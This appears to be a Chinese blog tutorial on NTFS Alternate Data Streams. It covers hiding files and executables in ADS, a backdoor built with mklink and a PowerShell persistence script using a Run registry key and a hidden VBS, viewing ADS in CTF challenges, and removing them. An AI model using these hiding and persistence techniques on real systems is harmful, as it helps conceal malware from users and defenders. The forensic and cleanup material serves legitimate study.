zoukankan      html  css  js  c++  java
  • NTFS交换数据流隐写的应用

    by Chesky

    ##目录

    ####一、NTFS交换数据流(ADS)简介

    ####二、ADS应用

               写入隐藏文件(文本图像可执行文件)

               ADS在Windows平台下的利用——写入后门

               ADS在Web中的利用——Get shell(待完成)

    ####三、NTFS交换数据流在CTF中的应用——查看ADS内容

    ####四、清除ADS

    ##Content

    ####一、NTFS交换数据流(ADS)简介

          在NTFS文件系统中存在着NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。
          ADS的作用在于,它允许一个文件携带着附加的信息。例如,IE浏览器下载文件时,会向文件添加一个数据流,标记该文件来源于外部,即带有风险,那么,在用户打开文件时,就会弹出文件警告提示。再如,在网址收藏中,也会附加一个favicon数据流以存放网站图标。

          ADS也被用于一些恶意文件隐藏自身,作为后门。

    ####二、ADS应用

        **最好在管理员模式下操作(需要文件的写权限)

        **格式为     宿主文件:关联的数据流文件

        1.向ADS中写入文本文件

    首先需要创建一个文本文件,这里的测试文件是001.txt

    然后向这个文件写入ADS

    echo "Baolimo" > 001.txt:hidden.txt
    /*echo "隐藏内容" >宿主文件:关联文件*/

    可以看到,文件字节没有改变,但是时间改动了。

    还可以使用type命令,将已经存在的文件附加上去。

    type "test002.txt" > "001.txt":"test002.txt"
    /*type "要隐藏的附加文件">"宿主文件":"要隐藏的附加文件"
    最好使用引号括起来,否则会引起误解
    */

    2、向ADS中写入图像/音频/可执行文件

    类似于写入文本文件,可以使用如下命令:

    type "hidden.jpg" > "targe.jpg":"hidden.jpg"
    type "hidden.mp4" > "targe.jpg":"hidden.mp4"
    type "hidden.exe">>"targe.txt":"hidden.exe"
    type "hidden.exe">>"targe.exe":"hidden.exe"

    3.在Windows平台下使用ADS构造后门

          在Windows XP中,可执行文件可以隐藏并且被执行。但是,微软已经发现了这个问题并进行了修复,目前在Windows Vista及后续系统中已经无法直接运行ADS中的可执行文件了。

          

          我们可以使用mklink命令来建立一个链接,但必须要管理员权限才能完成。

    mklink D:moha.exe "hidden.txt":moha.exe

          这里有一个在普通用户权限下也可操作的方法,使用Powershell的脚本。

          项目地址

          这个脚本只有两个参数:

          Arguments “BadFunction -Lhost 192.168.1.11 -LPort 3333 -Payload weeeeee”

          -URL即payload,-Arguments是Payload所需要的参数。

          这个后门被运行后,会在注册表下

          HKCU:SoftwareMicrosoftWindowsCurrentVersionRun中建立一个键值为update的键,注册表的键值调用wscript.exe来执行隐藏的VBS。执行完毕后,VBS脚本会解析执行在AppData目录下的payload(当然,是隐藏的)。

          具体内容参考作者的文章

          在Windows10下,这个方法已经意义不大了,WD会对该脚本进行查杀。不过也可以考虑Winrar自解压文件,但是这个方法……呃……

          从目前公开的资料来看,对ADS的利用主要集中于Web方面,但是我暂时不打算发展这方向的,这一块以后写一写。

    4.Getshell(待完成)

    ####三、NTFS交换数据流在CTF中的应用——查看ADS内容

      **如果文件原本是在压缩包内的,这时使用除WinRAR以外的软件进行提取会造成数据流丢失。所以务必使用WinRar进行文件解压。

      **最好不使用CMD命令(notepad)查看,这些命令对ADS的支持不是很好。

     1.使用工具查看

        使用工具查看是最快捷方便的方法了,可以使用NTFS Streams Info这个软件进行查看,但似乎是收费的。

        地址:https://ntfs-streams-info.en.softonic.com/

        在做CTF题时,我用的是Ntfs Streams Editor这个软件。

    网盘下载:http://pan.baidu.com/s/1c2zbNaC

    2.使用labs

    网盘下载:http://pan.baidu.com/s/1slTJwMp

    将labs.exe放入需要检测的文件的所在目录下。

    lads.exe File /S
    /*这条命令会检测File这个目录下所有文件的隐藏流文件*/
    lads.exe /S
    /*检测根目录下的隐藏流文件*/

     

    可以清楚地看到001.txt有着一个ADS:test002.txt。

    知道了Hidden的文件,就可以进行查看了。

    notepad.exe test.txt:hidden.txt
    mspaint.exe test.txt:hidden.jpg

    ####四、清除ADS

     这里可以采用之前的Ntfs Streams Editor这个软件直接删除ADS文件。

     也可以用streams.exe进行清除。

    streams.exe -d <File>

    若出现 Error deleting,说明这个进程还在运行,需要先结束该进程再进行删除操作。

  • 相关阅读:
    新购服务器流程
    nginx代理证书使用方法
    一键部署lnmp脚本
    mysql主从库配置读写分离以及备份
    Linux入门教程(更新完毕)
    Git 工作流程
    Git远程操作
    常用Git命令
    js数组去重
    Sublime Text设置快捷键让html文件在浏览器打开
  • 原文地址:https://www.cnblogs.com/Chesky/p/ALTERNATE_DATA_STREAMS.html
Copyright © 2011-2022 走看看